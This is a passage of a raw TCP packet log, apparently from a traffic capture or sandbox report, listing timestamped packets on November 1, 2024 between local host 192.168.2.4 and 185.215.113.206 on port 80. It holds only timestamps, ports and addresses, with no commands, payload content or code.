Nov 1, 2024 05:52:10.634207964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.634226084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.634242058 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.634257078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.634270906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.634354115 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.634851933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.634866953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.634881973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.635068893 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.635087967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.635107994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.635133028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.635139942 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.635149002 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.635164976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.635202885 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.635236979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.635675907 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.635691881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.635706902 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.635741949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.635778904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.675225019 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.675276041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.675283909 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.675292969 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.675298929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.675307989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.675326109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.675333977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.675368071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.675381899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.675493002 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.675585985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.714929104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.715034008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.715045929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.715054989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.715064049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.715079069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.715094090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.715137959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.715189934 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.715526104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.715543032 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.715558052 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.715584993 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.715656042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.715739012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.715764999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.715780020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.715790033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.715835094 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.753170967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.753187895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.753196001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.753215075 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.753221989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.753230095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.753293991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.753309965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.753340006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.753367901 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.753446102 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.753858089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.753890038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.753906965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.753918886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.753941059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.753956079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.753962994 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.754019976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.754435062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.754458904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.754477024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.754484892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.754494905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.754513979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.754528046 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.754534006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.754580021 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.794214964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.794248104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.794265032 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.794271946 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.794280052 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.794296980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.794313908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.794318914 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.794357061 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.794454098 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.794475079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.794493914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.794501066 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.794512033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.794564962 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.834022045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.834038019 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.834053993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.834091902 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.834125042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.834156990 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.834172964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.834188938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.834208965 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.834218025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.834234953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.834244967 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.834253073 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.834269047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.834284067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.834290028 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.834310055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.834335089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.834914923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.834950924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.834969997 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.834995985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.834999084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.835036039 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.835047960 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.835081100 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.872050047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.872076035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.872082949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.872220039 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.872243881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.872243881 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.872261047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.872276068 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.872292995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.872315884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.872349977 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.872663975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.872725010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.872725964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.872781038 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.872796059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.872847080 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.872859001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.872874975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.872896910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.872915030 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.872927904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.872961044 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.873209953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.873233080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.873249054 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.873300076 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.873315096 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.873330116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.873346090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.873362064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.873414040 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.873465061 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.873975992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.874037027 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.874284983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.874344110 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.913213015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.913237095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.913254023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.913269043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.913285971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.913292885 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.913331985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.913378954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.913383961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.913399935 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.913424015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.913434982 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.913439989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.913451910 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.913456917 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.913480997 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.913521051 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.953037977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.953058958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.953075886 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.953094006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.953109026 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.953120947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.953125954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.953162909 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.953193903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.953208923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.953223944 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.953223944 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.953242064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.953242064 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.953259945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.953280926 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.953322887 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.953732014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.953748941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.953763962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.953789949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.953830957 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.995398045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.995424986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.995434046 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.995441914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.995450020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.995464087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.995472908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.995481014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.995496988 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.995531082 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.995589972 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.995708942 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.995724916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.995739937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.995757103 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.995776892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.995780945 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.995794058 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.995820045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.995824099 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.995836020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.995847940 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.995855093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.995870113 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.995872021 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.995881081 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.995903015 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.995918989 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.996587992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.996613979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.996639967 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.996653080 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.032138109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.032181025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.032196999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.032206059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.032212973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.032330990 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.032351017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.032357931 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.032366037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.032375097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.032393932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.032433987 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.032486916 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.032802105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.032816887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.032831907 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.032855988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.032881975 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.071944952 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.071964979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.071983099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.072007895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.072009087 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.072026014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.072042942 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.072062016 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.072082996 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.072091103 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.072103024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.072163105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.072164059 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.072179079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.072187901 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.072202921 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.072227955 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.072513103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.072529078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.072546005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.072561979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.072568893 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.072590113 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.072621107 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.072818995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.072833061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.072876930 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.114295006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.114314079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.114330053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.114356041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.114387989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.114419937 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.114429951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.114447117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.114456892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.114473104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.114485979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.114489079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.114517927 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.114521027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.114540100 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.114548922 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.114578962 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.114927053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.114952087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.115010023 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.115021944 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.115025997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.115067959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.115073919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.115091085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.115108013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.115115881 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.115132093 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.115156889 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.115359068 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.115398884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.115415096 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.115422010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.115447998 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.115468025 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.115495920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.115513086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.115529060 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.115537882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.115561008 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.115571976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.116008997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.116031885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.116048098 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.116059065 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.116082907 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.116101027 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.151082993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.151145935 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.151160955 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.151170015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.151177883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.151187897 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.151268005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.151282072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.151294947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.151303053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.151325941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.151340961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.151350975 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.151405096 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.151787043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.151812077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.151828051 CET	80	49730	185.215.113.206	192.168.2.4
